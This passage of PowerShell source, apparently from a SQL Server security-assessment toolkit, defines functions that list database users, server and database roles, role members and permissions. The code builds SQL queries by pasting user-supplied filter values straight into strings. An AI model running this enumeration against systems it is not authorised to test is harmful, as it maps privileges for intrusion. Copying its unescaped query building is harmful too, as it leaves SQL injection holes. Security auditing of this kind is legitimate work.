            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose         
        }  

        # Get the privs for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Set DatabaseName filter
            $DbName = $_.DatabaseName

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$DbName' as [DatabaseName],
                rp.name as [PrincipalName],
                rp.type_desc as [PrincipalType],
                pm.class_desc as [PermissionType],
                pm.permission_name as [PermissionName],
                pm.state_desc as [StateDescription],
                ObjectType = CASE
                WHEN obj.type_desc IS NULL
                OR obj.type_desc = 'SYSTEM_TABLE' THEN
                pm.class_desc
                ELSE
                obj.type_desc
                END,
                [ObjectName] = Isnull(ss.name, Object_name(pm.major_id))
                FROM $DbName.sys.database_principals rp
                INNER JOIN $DbName.sys.database_permissions pm
                ON pm.grantee_principal_id = rp.principal_id
                LEFT JOIN $DbName.sys.schemas ss
                ON pm.major_id = ss.schema_id
                LEFT JOIN $DbName.sys.objects obj
                ON pm.[major_id] = obj.[object_id] WHERE 1=1
                $PermissionTypeFilter
                $PermissionNameFilter
            $PrincipalNameFilter"               

            # Execute Query
            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Grabbing permissions for the $DbName database..."
            }

            $TblDatabaseTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblDatabasePrivs = $TblDatabasePrivs + $TblDatabaseTemp
        }          
    }

    End
    {  
        # Return data
        $TblDatabasePrivs           
    }
}


# ----------------------------------
# Get-SQLDatabaseUser
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabaseUser 
{
    <#
            .SYNOPSIS
            Returns database user information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER DatabaseUser
            Database user to filter for.
            .PARAMETER PrincipalName
            Principal name to filter for.
            .PARAMETER NoDefaults
            Only show information for non default databases.
 
            .EXAMPLE
            PS C:\> Get-SQLDatabaseUser -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PrincipalName evil
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            DatabaseUserId : 5
            DatabaseUser : evil
            PrincipalSid : 3E26CA9124B4AE42ABF1BBF2523738CA
            PrincipalName : evil
            PrincipalType : SQL_USER
            deault_schema_name : dbo
            create_date : 04/22/2016 13:00:33
            is_fixed_role : False
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseUser -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database user.')]
        [string]$DatabaseUser,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Server login.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Do not show database users associated with default databases.')]
        [Switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblDatabaseUsers = New-Object -TypeName System.Data.DataTable
        $null = $TblDatabaseUsers.Columns.Add('ComputerName')
        $null = $TblDatabaseUsers.Columns.Add('Instance')
        $null = $TblDatabaseUsers.Columns.Add('DatabaseName')
        $null = $TblDatabaseUsers.Columns.Add('DatabaseUserId')
        $null = $TblDatabaseUsers.Columns.Add('DatabaseUser')
        $null = $TblDatabaseUsers.Columns.Add('PrincipalSid')
        $null = $TblDatabaseUsers.Columns.Add('PrincipalName')
        $null = $TblDatabaseUsers.Columns.Add('PrincipalType')
        $null = $TblDatabaseUsers.Columns.Add('deault_schema_name')
        $null = $TblDatabaseUsers.Columns.Add('create_date')
        $null = $TblDatabaseUsers.Columns.Add('is_fixed_role')

        # Setup PrincipalName filter
        if($PrincipalName)
        {
            $PrincipalNameFilter = " and b.name like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }

        # Setup DatabaseUser filter
        if($DatabaseUser)
        {
            $DatabaseUserFilter = " and a.name like '$DatabaseUser'"
        }
        else
        {
            $DatabaseUserFilter = ''
        }
    }

    Process
    {   
        # Note: Tables queried by this function typically require sysadmin or DBO privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }


        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Get list of databases
        if($NoDefaults)
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose  -NoDefaults
        }
        else
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose
        }

        # Get the privs for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Set DatabaseName filter
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Grabbing database users from $DbName."
            }

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$DbName' as [DatabaseName],
                a.principal_id as [DatabaseUserId],
                a.name as [DatabaseUser],
                a.sid as [PrincipalSid],
                b.name as [PrincipalName],
                a.type_desc as [PrincipalType],
                default_schema_name,
                a.create_date,
                a.is_fixed_role
                FROM [sys].[database_principals] a
                LEFT JOIN [sys].[server_principals] b
                ON a.sid = b.sid WHERE 1=1
                $DatabaseUserFilter
            $PrincipalNameFilter"               

            # Execute Query
            $TblDatabaseUsersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Update sid formatting for each entry and append results
            $TblDatabaseUsersTemp | 
            ForEach-Object -Process {
                # Convert SID to string
                if($_.PrincipalSid.GetType() -eq [System.DBNull])
                {
                    $Sid = ''
                }
                else
                {
                    # Format principal sid
                    $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') 
                    if ($NewSid.length -le 10)
                    {
                        $Sid = [Convert]::ToInt32($NewSid,16)
                    }
                    else
                    {
                        $Sid = $NewSid
                    }
                }

                # Add results to table
                $TblDatabaseUsers.Rows.Add(
                    [string]$_.ComputerName,
                    [string]$_.Instance,
                    [string]$_.DatabaseName,
                    [string]$_.DatabaseUserId,
                    [string]$_.DatabaseUser,
                    $Sid,
                    [string]$_.PrincipalName,
                    [string]$_.PrincipalType,
                    [string]$_.default_schema_name,
                    [string]$_.create_date,
                [string]$_.is_fixed_role) | Out-Null         
            }
        }          
    }

    End
    {  
        # Return data
        $TblDatabaseUsers         
    }
}


# ----------------------------------
# Get-SQLServerRole
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerRole 
{
    <#
            .SYNOPSIS
            Returns SQL Server role information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER RolePrincipalName
            Role principal name to filter for.
            .PARAMETER RoleOwner
            Role owner name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLServerRole -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            RolePrincipalId : 2
            RolePrincipalSid : 2
            RolePrincipalName : public
            RolePrincipalType : SERVER_ROLE
            OwnerPrincipalId : 1
            OwnerPrincipalName : sa
            is_disabled : False
            is_fixed_role : False
            create_date : 4/13/2009 12:59:06 PM
            modify_Date : 4/13/2009 12:59:06 PM
            default_database_name :
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerRole -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Role name.')]
        [string]$RolePrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = "Role owner's name.")]
        [string]$RoleOwner,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup table for output
        $TblServerRoles = New-Object -TypeName System.Data.DataTable
        $null = $TblServerRoles.Columns.Add('ComputerName')
        $null = $TblServerRoles.Columns.Add('Instance')
        $null = $TblServerRoles.Columns.Add('RolePrincipalId')
        $null = $TblServerRoles.Columns.Add('RolePrincipalSid')
        $null = $TblServerRoles.Columns.Add('RolePrincipalName')
        $null = $TblServerRoles.Columns.Add('RolePrincipalType')
        $null = $TblServerRoles.Columns.Add('OwnerPrincipalId')
        $null = $TblServerRoles.Columns.Add('OwnerPrincipalName')
        $null = $TblServerRoles.Columns.Add('is_disabled')
        $null = $TblServerRoles.Columns.Add('is_fixed_role')
        $null = $TblServerRoles.Columns.Add('create_date')
        $null = $TblServerRoles.Columns.Add('modify_Date')
        $null = $TblServerRoles.Columns.Add('default_database_name')

        # Setup owner filter
        if ($RoleOwner)
        {
            $RoleOwnerFilter = " AND suser_name(owning_principal_id) like '$RoleOwner'"
        }
        else
        {
            $RoleOwnerFilter = ''
        }

        # Setup role name
        if ($RolePrincipalName)
        {
            $PrincipalNameFilter = " AND name like '$RolePrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }
    }

    Process
    { 
        # Note: Tables queried by this function typically require sysadmin privileges to get all rows
                   
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = "SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            principal_id as [RolePrincipalId],
            sid as [RolePrincipalSid],
            name as [RolePrincipalName],
            type_desc as [RolePrincipalType],
            owning_principal_id as [OwnerPrincipalId],
            suser_name(owning_principal_id) as [OwnerPrincipalName],
            is_disabled,
            is_fixed_role,
            create_date,
            modify_Date,
            default_database_name
            FROM [master].[sys].[server_principals] WHERE type like 'R'
            $PrincipalNameFilter
        $RoleOwnerFilter"   

        # Execute Query
        $TblServerRolesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        
        # Update sid formatting for each entry
        $TblServerRolesTemp | 
        ForEach-Object -Process {
            # Format principal sid
            $NewSid = [System.BitConverter]::ToString($_.RolePrincipalSid).Replace('-','')
            if ($NewSid.length -le 10)
            {
                $Sid = [Convert]::ToInt32($NewSid,16)
            }
            else
            {
                $Sid = $NewSid
            }

            # Add results to table
            $null = $TblServerRoles.Rows.Add(
                [string]$_.ComputerName,
                [string]$_.Instance,
                [string]$_.RolePrincipalId,
                $Sid,
                $_.RolePrincipalName,
                [string]$_.RolePrincipalType,
                [string]$_.OwnerPrincipalId,
                [string]$_.OwnerPrincipalName,
                [string]$_.is_disabled,
                [string]$_.is_fixed_role,
                $_.create_date,
                $_.modify_Date,
            [string]$_.default_database_name)         
        }                        
    }

    End
    {  
        # Return data
        $TblServerRoles          
    }
}


# ----------------------------------
# Get-SQLServerRoleMember
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerRoleMember 
{
    <#
            .SYNOPSIS
            Returns SQL Server role member information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER RolePrincipalName
            Role principal name to filter for.
            .PARAMETER PrincipalName
            Principal name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLServerRoleMember -Instance SQLServer1\STANDARDDEV2014 -PrincipalName MyUser
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            RolePrincipalId : 3
            RolePrincipalName : sysadmin
            PrincipalId : 272
            PrincipalName : MyUser
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            RolePrincipalId : 6
            RolePrincipalName : setupadmin
            PrincipalId : 272
            PrincipalName : MyUser
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            RolePrincipalId : 276
            RolePrincipalName : MyCustomRole
            PrincipalId : 272
            PrincipalName : MyUser
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerRoleMember -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Role name.')]
        [string]$RolePrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL login or Windows account name.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblServerRoleMembers = New-Object -TypeName System.Data.DataTable

        # Setup role name filter
        if ($RolePrincipalName)
        {
            $RoleOwnerFilter = " AND SUSER_NAME(role_principal_id) like '$RolePrincipalName'"
        }
        else
        {
            $RoleOwnerFilter = ''
        }

        # Setup login name filter
        if ($PrincipalName)
        {
            $PrincipalNameFilter = " AND SUSER_NAME(member_principal_id) like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }
    }

    Process
    {         
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],role_principal_id as [RolePrincipalId],
            SUSER_NAME(role_principal_id) as [RolePrincipalName],
            member_principal_id as [PrincipalId],
            SUSER_NAME(member_principal_id) as [PrincipalName]
            FROM sys.server_role_members WHERE 1=1
            $PrincipalNameFilter
        $RoleOwnerFilter"

        # Execute Query
        $TblServerRoleMembersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append as needed
        $TblServerRoleMembers = $TblServerRoleMembers + $TblServerRoleMembersTemp
    }

    End
    {  
        # Return role members
        $TblServerRoleMembers             
    }
}


# ----------------------------------
# Get-SQLDatabaseRole
# ----------------------------------
# Author: Scott Sutherland
# Reference: https://technet.microsoft.com/en-us/library/ms189612(v=sql.105).aspx
Function  Get-SQLDatabaseRole 
{
    <#
            .SYNOPSIS
            Returns database role information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER NoDefaults
            Only select non default databases.
            .PARAMETER RolePrincipalName
            Role principalname to filter for.
            .PARAMETER RoleOwner
            Role owner's name to filter for.
 
            .EXAMPLE
            PS C:\> Get-SQLDatabaseRole -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -RolePrincipalName DB_OWNER
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            RolePrincipalId : 16384
            RolePrincipalSid : 01050000000000090400000000000000000000000000000000400000
            RolePrincipalName : db_owner
            RolePrincipalType : DATABASE_ROLE
            OwnerPrincipalId : 1
            OwnerPrincipalName : sa
            is_fixed_role : True
            create_date : 4/8/2003 9:10:42 AM
            modify_Date : 4/13/2009 12:59:14 PM
            default_schema_name :
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseRole -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Role name.')]
        [string]$RolePrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = "Role owner's name.")]
        [string]$RoleOwner,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select non default databases.')]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {                
        # Setup table for output
        $TblDatabaseRoles = New-Object -TypeName System.Data.DataTable
        $null = $TblDatabaseRoles.Columns.Add('ComputerName')
        $null = $TblDatabaseRoles.Columns.Add('Instance')
        $null = $TblDatabaseRoles.Columns.Add('DatabaseName')
        $null = $TblDatabaseRoles.Columns.Add('RolePrincipalId')
        $null = $TblDatabaseRoles.Columns.Add('RolePrincipalSid')
        $null = $TblDatabaseRoles.Columns.Add('RolePrincipalName')
        $null = $TblDatabaseRoles.Columns.Add('RolePrincipalType')
        $null = $TblDatabaseRoles.Columns.Add('OwnerPrincipalId')
        $null = $TblDatabaseRoles.Columns.Add('OwnerPrincipalName')
        $null = $TblDatabaseRoles.Columns.Add('is_fixed_role')
        $null = $TblDatabaseRoles.Columns.Add('create_date')
        $null = $TblDatabaseRoles.Columns.Add('modify_Date')
        $null = $TblDatabaseRoles.Columns.Add('default_schema_name')

        # Setup RoleOwner filter
        if ($RoleOwner)
        {
            $RoleOwnerFilter = " AND suser_name(owning_principal_id) like '$RoleOwner'"
        }
        else
        {
            $RoleOwnerFilter = ''
        }

        # Setup RolePrincipalName filter
        if ($RolePrincipalName)
        {
            $RolePrincipalNameFilter = " AND name like '$RolePrincipalName'"
        }
        else
        {
            $RolePrincipalNameFilter = ''
        }                    
    }

    Process
    {        
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Get list of databases
        if($NoDefaults)
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose -NoDefaults
        }
        else
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose
        }

        # Get role for each database
        $TblDatabases |
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Getting roles from the $DbName database."
            }   

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$DbName' as [DatabaseName],
                principal_id as [RolePrincipalId],
                sid as [RolePrincipalSid],
                name as [RolePrincipalName],
                type_desc as [RolePrincipalType],
                owning_principal_id as [OwnerPrincipalId],
                suser_name(owning_principal_id) as [OwnerPrincipalName],
                is_fixed_role,
                create_date,
                modify_Date,
                default_schema_name
                FROM [$DbName].[sys].[database_principals]
                WHERE type like 'R'
                $RolePrincipalNameFilter
            $RoleOwnerFilter" 

            # Execute Query
            $TblDatabaseRolesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose            

            # Update sid formatting for each entry and append results
            $TblDatabaseRolesTemp | 
            ForEach-Object -Process {
                # Format principal sid
                $NewSid = [System.BitConverter]::ToString($_.RolePrincipalSid).Replace('-','')
                if ($NewSid.length -le 10)
                {
                    $Sid = [Convert]::ToInt32($NewSid,16)
                }
                else
                {
                    $Sid = $NewSid
                }

                # Add results to table
                $TblDatabaseRoles.Rows.Add(
                    [string]$_.ComputerName,
                    [string]$_.Instance,
                    [string]$_.DatabaseName,
                    [string]$_.RolePrincipalId,
                    $Sid,
                    $_.RolePrincipalName,
                    [string]$_.RolePrincipalType,
                    [string]$_.OwnerPrincipalId,
                    [string]$_.OwnerPrincipalName,
                    [string]$_.is_fixed_role,
                    $_.create_date,
                    $_.modify_Date,
                [string]$_.default_schema_name) | Out-Null         
            }              
        }                                 
    }

    End
    {         
        # Return data
        $TblDatabaseRoles         
    }
}


# ----------------------------------
# Get-SQLDatabaseRoleMember
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabaseRoleMember 
{
    <#
            .SYNOPSIS
            Returns database role member information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER RolePrincipalName
            Role principalname to filter for.
            .PARAMETER PrincipalName
            Name of principal or Role to filter for.
 
            .EXAMPLE
            PS C:\> Get-SQLDatabaseRoleMember -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PrincipalName evil
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            RolePrincipalId : 16387
            RolePrincipalName : db_ddladmin
            PrincipalId : 5
            PrincipalName : evil
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            RolePrincipalId : 16391
            RolePrincipalName : db_datawriter
            PrincipalId : 5
            PrincipalName : evil
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseRoleMember -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,                
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database name.')]
        [string]$DatabaseName,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Role name.')]
        [string]$RolePrincipalName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL login or Windows account name.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select non default databases.')]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblDatabaseRoleMembers = New-Object -TypeName System.Data.DataTable

        # Setup login filter
        if ($PrincipalName)
        {
            $PrincipalNameFilter = " AND USER_NAME(member_principal_id) like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }

        # Setup role name
        if ($RolePrincipalName)
        {
            $RolePrincipalNameFilter = " AND USER_NAME(role_principal_id) like '$RolePrincipalName'"
        }
        else
        {
            $RolePrincipalNameFilter = ''
        }
    }

    Process
    {        
        # Note: Tables queried by this function typically require sysadmin or DBO privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Get list of databases
        if($NoDefaults)
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -NoDefaults -SuppressVerbose
        }
        else
        {
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose
        }

        # Get roles for each database
        $TblDatabases |
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Getting role members for the $DbName database..."
            }

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$DbName' as [DatabaseName],
